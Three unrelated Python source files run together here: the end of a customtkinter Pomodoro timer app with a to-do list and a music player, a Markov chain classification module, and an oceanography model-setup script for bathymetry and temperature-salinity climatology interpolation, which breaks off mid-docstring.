    self.pomopet_image = self.load_image("/app_buttons/pomo_pet.jpg", 400)

    # =========tasks frame configuracion================
    self.frame_tasks = customtkinter.CTkFrame(master=self,
                                              width=448,
                                              corner_radius=0,
                                              fg_color="#FFFFFF")
    self.frame_tasks.grid(row=0, column=0, sticky="nswe")
    # configurando columnas tasks
    self.frame_tasks.columnconfigure(0, weight=1)

    # configurando filas tasks
    self.frame_tasks.rowconfigure((0, 1, 2, 3, 4, 5, 6, 7, 8), weight=1)

    # =========Timer frame configuracion==================
    self.frame_timer = customtkinter.CTkFrame(master=self,
                                              corner_radius=15,
                                              fg_color="#FFFFFF")
    self.frame_timer.grid(row=0, column=1, sticky="nswe", padx=20, pady=20)
    # configurando columnas timer
    self.frame_timer.columnconfigure((0, 1, 2, 3, 4), weight=1)

    # configurando filas timer
    self.frame_timer.rowconfigure((0, 1, 2, 3, 4, 5), weight=1)

    # ---------------Frames Secundarios---------------------------
    # ========frame interior de to-do list======
    self.frame_to_do_container = customtkinter.CTkFrame(
      master=self.frame_tasks, corner_radius=15)

    self.frame_to_do_container.grid(row=1,
                                    column=0,
                                    ipady=10,
                                    rowspan=6,
                                    padx=20,
                                    sticky="nsew")

    # configurando columnas to-do list container
    self.frame_to_do_container.columnconfigure((0, 1, 2), weight=1)
    # configurando filas to-do list container
    self.frame_to_do_container.rowconfigure((0, 1, 2, 3, 4, 5, 6), weight=1)

    # ========frame interior para musica========
    self.frame_music = customtkinter.CTkFrame(master=self.frame_tasks,
                                              width=368,
                                              height=100,
                                              corner_radius=15)
    self.frame_music.grid(row=7, column=0, rowspan=2, padx=20)
    # configurando columnas musica
    self.frame_music.columnconfigure((0, 1), weight=1)
    # configurando filas musica
    self.frame_music.rowconfigure((0, 1), weight=1)

    # ===frame interior para botones start y repeat dentro de timer frame==
    self.frame_repstart = customtkinter.CTkFrame(master=self.frame_timer,
                                                 fg_color="#FFFFFF")
    self.frame_repstart.grid(row=4, column=2, sticky="N")
    # configurando columnas repstart buttons
    self.frame_repstart.columnconfigure((0, 1), weight=1)
    # configurando columnas repstart buttons
    self.frame_repstart.rowconfigure(0, weight=1)

    # ==========frame timer and +- 5==========
    self.frame_timer_5 = customtkinter.CTkFrame(master=self.frame_timer,
                                                fg_color="#FFFFFF")
    self.frame_timer_5.grid(row=3, column=2, sticky="S")
    # configurando columnas repstart buttons
    self.frame_timer_5.columnconfigure((0, 1, 2), weight=1)
    # configurando columnas repstart buttons
    self.frame_timer_5.rowconfigure(0, weight=1)

    # =========name update====================
    self.frame_upname = customtkinter.CTkFrame(master=self.frame_timer,
                                               fg_color="#FFFFFF")
    self.frame_upname.grid(row=5, column=2, sticky="S")
    # configurando columnas repstart buttons
    self.frame_upname.columnconfigure((0, 1, 2), weight=1)
    # configurando columnas repstart buttons
    self.frame_upname.rowconfigure(0, weight=1)

    # -------------Widgets-----------------------------
    # ==========To-do list====================
    # to-do list label
    self.label_tasks = customtkinter.CTkLabel(master=self.frame_tasks,
                                              text="TO-DO LIST",
                                              text_font=("pomodoring_font",
                                                         40))
    self.label_tasks.grid(row=0, column=0, padx=80)
    # to-do list entrys
    self.entry_task_1 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_1.grid(row=1,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_2 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_2.grid(row=2,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_3 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_3.grid(row=3,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_4 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_4.grid(row=4,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_5 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_5.grid(row=5,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_6 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_6.grid(row=6,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    # to-do list checkbox
    self.check_box_1 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_1.grid(row=1, column=2, sticky="W")

    self.check_box_2 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_2.grid(row=2, column=2, sticky="W")

    self.check_box_3 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_3.grid(row=3, column=2, sticky="W")

    self.check_box_4 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_4.grid(row=4, column=2, sticky="W")

    self.check_box_5 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_5.grid(row=5, column=2, sticky="W")

    self.check_box_6 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)

    self.check_box_6.grid(row=6, column=2, sticky="W")

    # status bar tasks

    self.progressbar = customtkinter.CTkProgressBar(
      master=self.frame_to_do_container,
      width=330,
      height=30,
      progress_color="#53da1c")
    self.progressbar.grid(row=0, column=0, columnspan=3, padx=20, sticky="SW")
    self.progressbar.set(0)

    # =========Timer===================
    # welcomeback label
    self.welcome_label = customtkinter.CTkLabel(master=self.frame_timer,
                                                text=("WELCOMEBACK USERNAME!"),
                                                text_font=("pomodoring_font",
                                                           20))
    self.welcome_label.grid(row=0, column=1, columnspan=3, padx=1, pady=10)

    # label tiempo
    self.time_label = customtkinter.CTkLabel(master=self.frame_timer_5,
                                             text=tiempo,
                                             text_font=("pomodoring_font", 70))
    self.time_label.grid(row=0, column=1, padx=1, sticky="S")

    # label Pomo property
    self.pomo_pet_label = customtkinter.CTkLabel(master=self.frame_timer,
                                                 image=self.pomopet_image
                                                 )
    self.pomo_pet_label.grid(row=2, column=2, padx=1, sticky="S")

    # ----------------Timer buttons---------------

    # reset button
    self.button_reset = customtkinter.CTkButton(
      master=self.frame_repstart,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.reset_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.reset)
    self.button_reset.grid(row=0,
                           column=1,
                           columnspan=1,
                           pady=1,
                           padx=5,
                           sticky="NE")

    # start button
    self.button_start = customtkinter.CTkButton(
      master=self.frame_repstart,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.start_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.start)
    self.button_start.grid(row=0,
                           column=0,
                           columnspan=1,
                           pady=1,
                           padx=5,
                           sticky="NW")

    self.button_moremin = customtkinter.CTkButton(
      master=self.frame_timer_5,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.moremin_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.more_minutes)
    self.button_moremin.grid(row=0, column=2, pady=20, sticky="SW")

    self.button_lessmin = customtkinter.CTkButton(
      master=self.frame_timer_5,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.lessmin_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.less_minutes)
    self.button_lessmin.grid(row=0, column=0, pady=20, sticky="SE")

    self.entry_name = customtkinter.CTkEntry(master=self.frame_upname,
                                             width=280,
                                             justify="center",
                                             placeholder_text="WHAT IS YOU"
                                             "R NAME?",
                                             text_font=("pomodoring_font", 15),
                                             border_width=0,
                                             corner_radius=15,
                                             fg_color="#c0c2c5")
    self.entry_name.grid(row=0, column=0, columnspan=1, pady=15, sticky="S")

    self.update_name = customtkinter.CTkButton(master=self.frame_upname,
                                               width=50,
                                               text="SAVE",
                                               text_font=("pomodoring_font",
                                                          13),
                                               border_width=0,
                                               corner_radius=15,
                                               fg_color="#c0c2c5",
                                               command=self.save_name)
    self.update_name.grid(row=0,
                          column=1,
                          columnspan=1,
                          pady=15,
                          padx=10,
                          sticky="S")

    self.update_wlabel = customtkinter.CTkButton(master=self.frame_upname,
                                                 width=50,
                                                 text="APPLY",
                                                 text_font=("pomodoring_font",
                                                            13),
                                                 border_width=0,
                                                 corner_radius=15,
                                                 fg_color="#c0c2c5",
                                                 command=self.read_name)
    self.update_wlabel.grid(row=0,
                            column=2,
                            columnspan=1,
                            pady=15,
                            padx=1,
                            sticky="S")

    # =========Reproductor de musica===========
    # nombre de la cancion
    self.music_name_label = customtkinter.CTkLabel(
      master=self.frame_music,
      text="NOW YOU ARE LISTE"
      "NING TO LO-FI MUSIC",
      text_font=("pomodoring_font", 15))
    self.music_name_label.grid(row=0,
                               column=0,
                               columnspan=2,
                               ipady=10,
                               padx=50,
                               pady=1,
                               sticky="S")

    # botones reproductor de musica
    self.button_play = customtkinter.CTkButton(
      master=self.frame_music,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.resume_image,
      text="",
      text_font=("pomodoring_font", 35),
      fg_color="#d1d5d8",
      command=self.play_music)
    self.button_play.grid(row=1, column=0, padx=10, pady=10, sticky="NE")

    self.button_stop_song = customtkinter.CTkButton(
      master=self.frame_music,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.pause_image,
      text="",
      text_font=("pomodoring_font", 35),
      fg_color="#d1d5d8",
      command=self.stop_music)
    self.button_stop_song.grid(row=1, column=1, pady=10, sticky="NW")

    # conditions for Timer
    self.condicion = False
    self.contadorOneTimer = 0
    self.otroContador = 0
    self.positivo = 10
    self.time_text_split = tiempo.split(":")
    self.min = int(self.time_text_split[0])
    self.sec = int(self.time_text_split[1])

# ---------------Functions------------------------

  def start_timer(self):
    run_time = threading.Thread(target=self.start)
    run_time.start()

  # progress bar linked to checkbox
  def progressbar_increase(self):
    value = self.progressbar.get()
    value = value + 0.16666666667
    self.progressbar.set(value)

  # load rectangular image with path relative to PATH
  def load_image(self, path, image_size):
        return ImageTk.PhotoImage(Image.open(PATH + path).resize((image_size,
                                  image_size)))

  # path relative to PATH
  def complete_path(self, path):
    return (PATH + path)

  # save name in external file
  def save_name(self):
    # write txt

    savename_w = open(self.complete_path("/savename.txt"), "w")
    name = self.entry_name.get()
    name = str(name.upper())
    print(name)
    savename_w.write(name)
    savename_w.close()

  # read username in external file
  def read_name(self):
    savename_r = open(self.complete_path("/savename.txt"), "r")
    newname = savename_r.readline()
    print(newname)
    self.welcome_label.configure(text=("WELCOMEBACK {}!".format(newname)))
    self.welcome_label.update()

  # update welcome username label
  def show_name(self):
    readname = self.savename_r.readline()
    return readname
    self.welcome_label.update()

  # start timer button
  def start(self):
    self.contadorOneTimer = self.contadorOneTimer + 1
    self.condicion = True
    if self.condicion == True:
      self.reset_timer = False

      global min
      global sec
      min = int(time_text_split[0])
      sec = int(time_text_split[1])

      global full_sec
      full_sec = 60 * (min)

      if self.contadorOneTimer == 1:
        while full_sec > 0 and self.condicion == True:
          full_sec -= 1
          min, sec = divmod(full_sec, 60)

          self.time_label.config(text=f"{min + extraTime}:{sec}")
          self.time_label.update()
          time.sleep(1)

  # Stop Timer
  def reset(self):

    self.reset_timer = True
    self.condicion = False
    self.time_label.config(text=time_text_split)
    self.contadorOneTimer = 0
    global extraTime
    extraTime = 0
    self.positivo = 10

  # less minutes
  def less_minutes(self):

    if self.condicion == False and self.positivo > 10:

      min = int(time_text_split[0])
      global extraTime
      extraTime = extraTime - 5
      sec = int(time_text_split[1])
      self.time_label.config(text=f"{min+extraTime}:{sec}")
      self.positivo = self.positivo - 1
      self.time_label.update()

  # more minutes
  def more_minutes(self):

    if self.condicion == False:

      min = int(time_text_split[0])
      global extraTime
      extraTime = extraTime + 5
      sec = int(time_text_split[1])
      self.time_label.config(text=f"{min+extraTime}:{sec}")
      global positivo
      self.positivo = self.positivo + 1
      self.time_label.update()

  # play music
  def play_music(self):
    pygame.init()

    pygame.mixer.music.load(
      self.complete_path("/OnBourbonStreet"
                         "_GiorigioDiCampo.mp3"))
    pygame.mixer.music.play(10)
    return

  # stop music
  def stop_music(self):
    pygame.mixer.music.load(
      self.complete_path("/OnBourbonStreet"
                         "_GiorigioDiCampo.mp3"))
    pygame.mixer.music.stop()

if __name__ == "__main__":
  app = PomodorING()
  app.mainloop()


import networkx as nx
import numpy as np
from fractions import gcd
EPS = 0.0001  # used to check for stochasticity

def _compute_P_matrix(m):
    m._P_matrix_computed = True

    # compute dictionaries
    m.I_to_S = { i:s for i,s in enumerate(m.states) }
    m.S_to_I = { s:i for i,s in enumerate(m.states) }

    # the transition matrix
    m.P = np.array(nx.adjacency_matrix(m).todense())

    # check to see if it is stochastic
    ones = np.ones([m.number_of_states(), 1])
    deviation = np.linalg.norm(ones - m.P @ ones)
    assert deviation < EPS, \
        "Transition matrix is not stochastic. " + \
        "Deviation = "+str(deviation)+"\n "+str(m.P)

def _compute_period(m, state, class_of_state):
    levels = {state: 0}
    this_level = [state]
    G = m
    g = 0
    l = 1
    while this_level:
        next_level = []
        for u in this_level:
            for v in [ v for v in G[u] if v in class_of_state ]:
                if v in levels:  # Non-Tree Edge
                    g = gcd(g, levels[u] - levels[v] + 1)
                else:  # Tree Edge
                    next_level.append(v)
                    levels[v] = l
        this_level = next_level
        l += 1
    # period 0 is period 1
    if g == 0:
        g = 1
    return(g)

def _normalize(l):
    return(l/sum(l))

def _compute_classes(m):

    # to check that it is a valid chain
    if not m._P_matrix_computed:
        _compute_P_matrix(m)

    m._classes_computed = True

    # classes
    components = nx.strongly_connected_components(m)
    condensation_edges = nx.condensation(m).edges
    m.classes = [ [s for s in component] for component in components]
    m.number_of_classes = len(m.classes)
    assert m.number_of_classes > 0, \
        "Zero classes - something wrong"
    m.is_irreducible = m.number_of_classes == 1

    # recurrent and transient class component_indices
    m.transient_class_indices = \
            sorted(np.unique(
                [comp1 for (comp1, comp2) in condensation_edges ]))
    m.number_of_transient_classes = len(m.transient_class_indices)
    m.number_of_recurrent_classes = \
            m.number_of_classes - m.number_of_transient_classes
    m.no_transient = m.number_of_transient_classes == 0

    m.number_of_transient_states = 0
    m.number_of_recurrent_states = 0
    for c in range(m.number_of_classes):
        if c in m.transient_class_indices:
            for s in m.classes[c]:
                m.states[s]["type"] = "T"
                m.states[s]["class"] = c
                m.number_of_transient_states += 1
        else:
            for s in m.classes[c]:
                m.states[s]["type"] = "R"
                m.states[s]["class"] =c
                m.number_of_recurrent_states += 1

    transient_index = 0
    recurrent_index = 0
    for j,s in enumerate(m.states):
        m.states[s]["index"] = j
        if m.is_transient(s):
            m.states[s]["transient_index"] = transient_index
            transient_index += 1
        else:
            m.states[s]["recurrent_index"] = recurrent_index
            recurrent_index += 1

    m.transient_states = \
        [ s for s in m.states if m.is_transient(s) ]

    m.transient_state_indices = \
        [ m.S_to_I[s] for s in m.states if m.is_transient(s) ]

    m.recurrent_states = \
        [ s for s in m.states if m.is_recurrent(s) ]

    m.recurrent_state_indices = \
        [ m.S_to_I[s] for s in m.states if m.is_recurrent(s) ]

    m.transient_classes = [m.classes[i] for i in m.transient_class_indices]
    m.recurrent_classes = [m.classes[i] for i in range(m.number_of_classes)\
            if i not in m.transient_class_indices]

    # computing stationary distributions
    for aclass in m.recurrent_classes:
        class_indices = [m.S_to_I[s] for s in aclass]
        PC = m.P[class_indices][:,class_indices]
        I = np.identity(PC.shape[0])
        u,s,vh  = np.linalg.svd(PC-I)
        pi = list(_normalize(np.transpose(u)[-1]))
        for i,s in enumerate(aclass):
            m.states[s]["stationary"] = pi[i]

    m.T_to_S = \
            { i:m.I_to_S[m.transient_state_indices[i]] for
                    i in range(m.number_of_transient_states)}
    m.C_to_S = \
            { i:m.I_to_S[m.recurrent_state_indices[i]] for
                    i in range(m.number_of_recurrent_states)}
    m.S_to_T = \
            { v:k for k,v in m.T_to_S.items()}

    m.S_to_C = \
            { v:k for k,v in m.C_to_S.items()}

    # computing periods of states

    m.is_aperiodic = True
    for aclass in m.classes:
        s = aclass[0]
        per = _compute_period(m,s,aclass)
        if per > 1:
            m.is_aperiodic = False
        for state in aclass:
            m.states[state]["period"] = per

def _compute_QRF_matrices(m):
    assert m._classes_computed, \
            "Compute first."
    assert not m.no_transient, \
            "Cannot compute QRF for a recurrent chain."

    m._QRF_matrix_computed = True

    # canonical decomposition of P
    # Q-matrix
    m.Q = m.P[m.transient_state_indices][:, m.transient_state_indices]

    # R-matrix
    m.R = m.P[m.transient_state_indices][:, m.recurrent_state_indices]

    # F-matrix
    I = np.identity(m.Q.shape[0])
    m.F = np.linalg.inv(I-m.Q)

def _recurrent_chains(m):
    n = m.number_of_classes;
    recurrent_classes = [ m.classes[i] for i in range(m.number_of_classes)\
            if i not in m.transient_class_indices ]
    subgraphs = []
    for i,aclass in enumerate(recurrent_classes):
        mc = m.subgraph(aclass).copy()
        mc.title = "Recurrent_class_C"+str(i+1)
        mc.compute()
        subgraphs.append(mc)
    return(subgraphs)

def _stationary_of_class(m, sz):
    assert m._classes_computed, "Compute Classes First"
    d = {}
    for s in m.states():
        if m.states[s]["class"]==m.states[sz]["class"]:
            d[s] = m.states[s]["stationary"]
    return(d)


# Functions that I use when setting up models
from warnings import filterwarnings
import numpy as np
import numpy.ma as ma
import pickle
import matplotlib.pyplot as plt
from matplotlib.path import Path
from mpl_toolkits.basemap import Basemap
from scipy.interpolate import RegularGridInterpolator
from scipy.ndimage import convolve
from scipy.ndimage.filters import gaussian_filter
import xarray as xr
from seawater.eos80 import ptmp
from MyInterp import interp_weights, interpolate, get_springs, inpaint_nans
from MyNumpyTools import change_wrap, fillnan_pad, uneven_2D_convolve, cosd

def setup_map(model_name, regenerate=False):
    """Create Basemap object of fixed dimensions

    Inputs
    ------
    model_name : str
        string corresponding to the model run's name
    regenerate : bool
        whether to regenerate map or use pickled version

    Returns
    -------
    m : Basemap object
    x0, x1, y0, y1 : tuple
        Limits in metres to refine map

    Note that I create a map and then zoom in, rather than trying to make
    a map with exact dimensions I want. The former is much easier.
    """
    map_dir = '/home/hugke729/PhD/Maps/'

    if model_name == 'pilot':
        fname = map_dir + 'model_pilot.p'

        if regenerate:
            m = Basemap(
                projection='aeqd',
                lat_0=76.5,
                lon_0=260,
                width=3.4e6,
                height=2e6,
                resolution='i')
            pickle.dump(m, open(fname, 'wb'))
        else:
            m = pickle.load(open(fname, 'rb'))
    else:
        print('Try different model_name')

    x0, x1, y0, y1 = [x*1e3 for x in [750, 3400, 0, 2000]]

    return m, (x0, x1, y0, y1)

def ETOPO_interpolator():
    """Create a function to interpolate ETOPO data onto a new grid

    Returns
    -------
    f : function(lon, lat)
        A function that takes arguments and returns depths
        Positive values are below sea level
    """
    bathy_dir = '/home/hugke729/PhD/Data/Bathymetry/'

    # Read in binary file of ETOPO data with just bathymetry north of 50N
    # File goes W to E, but N to S
    # Depths at centre of grid cells
    z = np.fromfile(bathy_dir + 'etopo1_bed_c_i2.bin', 'i2')[:40*60*360*60]
    z = z.reshape(40*60, 360*60)[::-1, :].T

    # Create the corresponding vectors that associated with etopo file
    lat_f = np.r_[50:90:2401j]
    lon_f = np.r_[-180:180:21601j]
    lat_c = (lat_f[:-1] + lat_f[1:])/2
    lon_c = (lon_f[:-1] + lon_f[1:])/2

    # To ensure interpolation doesn't fail, we need lon_c and lat_c to
    # be able to capture values very close to 180W, 180E, and 90N.
    # Hence, adjust first and last values as workaround
    lon_c[0], lon_c[-1] = -180, 180
    lat_c[-1] = 90

    return RegularGridInterpolator((lon_c, lat_c), -z)

def get_penny_strait_soundings():
    """Get all bathymetry data from Penny Strait and nearby

    Data given to me by Humfrey Melling

    Returns
    -------
    lon, lat, z : 1D arrays
    """
    data_dir = '/home/hugke729/PhD/Data/Penny_Strait/'
    data_file = data_dir + 'Soundings in GEOTRACES area.csv'
    return np.loadtxt(data_file, delimiter=',', unpack=True)

def interpolate_soundings_to_grid(lon_out, lat_out):
    """Interpolate soundings in and near Penny Strait to output grid

    Returns
    -------
    z_ps_out: Nx x Ny masked array
        Depths with values only where reasonable interpolation can be made
    """

    # Get Penny Strait soundings
    ps_lon, ps_lat, ps_z = get_penny_strait_soundings()

    # Find parts of the output grid within the bounds of the soundings
    ps_lon_inds = np.logical_and(lon_out < ps_lon.max(), lon_out > ps_lon.min())
    ps_lat_inds = np.logical_and(lat_out < ps_lat.max(), lat_out > ps_lat.min())
    ps_inds = np.logical_and(ps_lon_inds, ps_lat_inds)
    ps_LON, ps_LAT = lon_out[ps_inds], lat_out[ps_inds]

    # Interpolate sounding data onto output grid
    vtx, wts = interp_weights((ps_lon, ps_lat), (ps_LON, ps_LAT))
    z_ps_out = np.full_like(lon_out, np.nan)
    z_ps_out[ps_inds] = interpolate(
        ps_z.flatten(), vtx, wts, fill_value=np.nan)
    z_ps_out = ma.masked_invalid(z_ps_out)

    return z_ps_out

def interpolate_ETOPO_to_grid(lon_out, lat_out):
    """Get the seafloor depth using ETOPO

    Inputs
    ------
    lon_out, lat_out: 2D arrays
        Locations of the centres of the grid cells for the output bathymetry

    Returns
    -------
    bathy : 2D array
        Interpolated seafloor depth (-ve values are above sea level)
    """

    f = ETOPO_interpolator()
    return f((lon_out, lat_out))

def combine_etopo_with_soundings(lon_out, lat_out, combine_method='mean'):
    """
    Inputs
    ------
    lon_out, lat_out: 2D arrays
        Locations of the centres of the grid cells for the output bathymetry
    combine_method : str
        Either mean or max

    Returns
    -------
    bathy : 2D array
        Interpolated seafloor depth
    """

    etopo_z = interpolate_ETOPO_to_grid(lon_out, lat_out)
    soundings_z = interpolate_soundings_to_grid(lon_out, lat_out)

    # Interpolation of soundings doesn't account for land, so the 'depth'
    # where the land is funky. Treat this by masking the land based on ETOPO
    soundings_z = ma.masked_where(etopo_z < 0, soundings_z)
    etopo_z = ma.masked_where(etopo_z < 0, etopo_z)

    # Make copies of ETOPO dataset (*1.0 here to ensure different IDs)
    max_z = etopo_z*1.0
    mean_z = etopo_z*1.0

    # For grid points with soundings, calculate mean and max
    inds = ~soundings_z.mask
    mean_z[inds] = (soundings_z[inds] + etopo_z[inds])/2
    max_z[inds] = np.max(np.c_[soundings_z[inds], etopo_z[inds]], axis=1)

    if combine_method == 'mean':
        return mean_z
    elif combine_method == 'max':
        return max_z

def interpolate_in_vertical(X, z_in, z_out):
    """Use linear interpolation to convert S and T at fixed depths from
    climatology to new depths given by z_out"""

    dz = np.diff(z_in)

    # Preallocate output
    Nx, Ny = X.shape[:2]
    X_out = np.zeros((Nx, Ny, len(z_out)))

    for i, z in enumerate(z_out):
        ind = np.searchsorted(z_in, z) - 1

        # searchsorted returns different answer than I want if
        # the value to find the index for is exactly equal to the array
        # it is being placed. This is a work around for that
        if z in z_out:
            ind = ind + 1

        try:
            # Weight for level above (w_a) and below (w_b)
            w_a = np.abs(z_in[ind + 1] - z)/dz[ind]
            w_b = np.abs(z_in[ind] - z)/dz[ind]
            # Sum of weights should equal one, but there could be edge cases
            X_out[..., i] = (w_a*X[..., ind] + w_b*X[..., ind + 1])/(w_a + w_b)
        except IndexError:
            # Deeper than KG climatology
            X_out[..., i] = X[..., -1]

    return X_out

def project_quarter_degree_climatology(
        LON_c, LAT_c, z_out, update_progress=False):
    """
    Inputs
    ------
    LON_c, LAT_c : 2D arrays
        Locations of the centres of the grid cells for the output hydrography
    z_out : 1D array
        Depth vector

    Returns
    -------
    S, T : 3D arrays
        S and T projected onto output grid
    """

    # Preallocate intermediate result
    Nx, Ny = LON_c.shape
    Nz_qd = 57  # QD climatology has 57 levels
    S_xy = np.zeros((Nx, Ny, 57))
    T_xy = np.zeros((Nx, Ny, 57))

    if update_progress:
        print('Projected quarter-degree climatology for level', end=' ')
    # Reproject qd climatology to new X-Y grid, but keep original z vector
    for i in range(Nz_qd):
        S_interpolator = quarter_degree_climatology_interpolator('S', i)
        T_interpolator = quarter_degree_climatology_interpolator('T', i)

        S_xy[..., i] = S_interpolator((LAT_c, LON_c))
        T_xy[..., i] = T_interpolator((LAT_c, LON_c))

        if update_progress:
            print(i, flush=True, end=', ')

    # Reproject to z_out
    depth_fname = ('/home/hugke729/PhD/Data/TS_climatology/' +
                   'Arctic Regional Climatology/nc/depths.txt')
    z_in = np.genfromtxt(depth_fname, delimiter=',')
    S = interpolate_in_vertical(S_xy, z_in, z_out)
    T = interpolate_in_vertical(T_xy, z_in, z_out)

    # Convert in situ temperature to potential
    T = ptmp(S, T, z_out[np.newaxis, np.newaxis, :])

    return S, T

def quarter_degree_climatology_interpolator(T_or_S, z_i):
    """Create a function to interpolate TS data onto a new grid

    Inputs
    ------
    T_or_S : str
        Either 'T' or 'S'
    z : float
        Depth (m)

    Returns
    -------
    f : function((lon, lat))
        A function that takes arguments and returns temperature or salinity
    """
    data_dir = ('/home/hugke729/PhD/Data/TS_climatology/' +
                'Arctic Regional Climatology/nc/')

    if T_or_S.lower() == 't':
        var = 't'
    elif T_or_S.lower() == 's':
        var = 's'
    else:
        print('Specify T_or_S correctly')

    fname = data_dir + var + '09_04.nc'
    D = xr.open_dataset(fname, decode_times=False)

    if T_or_S.lower() == 't':
        quantity = D.t_an
    elif T_or_S.lower() == 's':
        quantity = D.s_an

    quantity = np.array(quantity[0, z_i, ...])

    lon_c, lat_c = np.array(D.lon), np.array(D.lat)

    # To ensure interpolation doesn't fail, we need lon_c and lat_c to
    # be able to capture values very close to 180W, 180E, and 90N.
    # Hence, adjust first and last values as workaround
    lon_c[0], lon_c[-1] = -180, 180
    lat_c[-1] = 90

    return RegularGridInterpolator((lat_c, lon_c), quantity)

def project_kliem_greenberg_climatology(X_c, Y_c, m, z_out):
    """
    Inputs
    ------
    X_c, Y_c : 2D arrays
        Locations of the centres of the grid cells for the output hydrography
    m : basemap object
        Basemap associated with X_c and Y_c
    z_out : 1D array
        Depth vector

    Returns
    -------
    S, T : 3D arrays
        S and T projected onto output grid
    """

    # Temperature and salinity on original grid
    def get_T_S(X):
        """Read in T or S from Kliem and Greenberg fields

        X is either 'T' or 'S'"""
        out = np.genfromtxt(kg_data_loc + X + '.lst', skip_header=4)
        # Rearrange to Nz x Nx with surface at top
        out = out.reshape((out.size//Nz_kg, Nz_kg))[:, ::-1]
        return out

    def project_to_new_xy(vtx, wts, S, T):
        # Preallocate outputs interpolated to new xy
        S_xy = np.zeros((Nx, Ny, Nz_kg))
        T_xy = S_xy.copy()

        # Project onto model grid (but keeping KG depths for now)
        for i in range(Nz_kg):
            S_i = interpolate(S[:, i], vtx, wts, np.nan)
            T_i = interpolate(T[:, i], vtx, wts, np.nan)
            S_xy[:, :, i] = S_i.reshape(Nx, Ny)
            T_xy[:, :, i] = T_i.reshape(Nx, Ny)

        return S_xy, T_xy

    # Main part of function
    phd_dir = '/home/hugke729/PhD/'
    kg_data_loc = phd_dir + 'Data/TS_climatology/Kliem_Greenberg/fields/'
    Nx, Ny = X_c.shape
    Nz_kg = 25  # Number of levels in Kliem Greenberg fields

    node_no, lon_kg, lat_kg = np.genfromtxt(kg_data_loc + 'arctic4.nod').T
    X_kg, Y_kg = m(lon_kg, lat_kg)
    # nodes = np.genfromtxt(kg_data_loc + 'arctic4.ele').T.astype(int)[1::, :] - 1

    vtx, wts = interp_weights((X_kg, Y_kg), (X_c, Y_c))
    S = get_T_S('S')
    T = get_T_S('T')
    S_xy, T_xy = project_to_new_xy(vtx, wts, S, T)

    # Depths used by Kliem and Greenberg
    z_kg = np.genfromtxt(kg_data_loc + 'depths.txt')[::-1]

    S_out = interpolate_in_vertical(S_xy, z_kg, z_out)
    T_out = interpolate_in_vertical(T_xy, z_kg, z_out)

    return S_out, T_out

def combine_qd_and_kg_climatology(X_c, Y_c, m, z_out, ST_kg=None, ST_qd=None,
                                  filter_sigma=10):
    """Combine the two climatologies

    Method
    ------
    Calculate an array of weights from 0 to 1 by findings points within the
    Kliem and Greenberg mesh. Then smooth around the edges with a Gaussian

    Inputs
    ------
    X_c, Y_c : 2D arrays
        Locations of the centres of the grid cells for the output hydrography
    m : basemap object
        Basemap associated with X_c and Y_c
    ST_kg : 2-tuple
        Two 3D arrays of salinity and temp from Kliem + Greenberg
        Vertical grid must be z_out
    ST_qd : 2-tuple
        Two 3D arrays of salinity and temp from quarter-degree climatology
        Vertical grid must be z_out
    z_out : 1D array
        Depth vector

    Returns
    -------
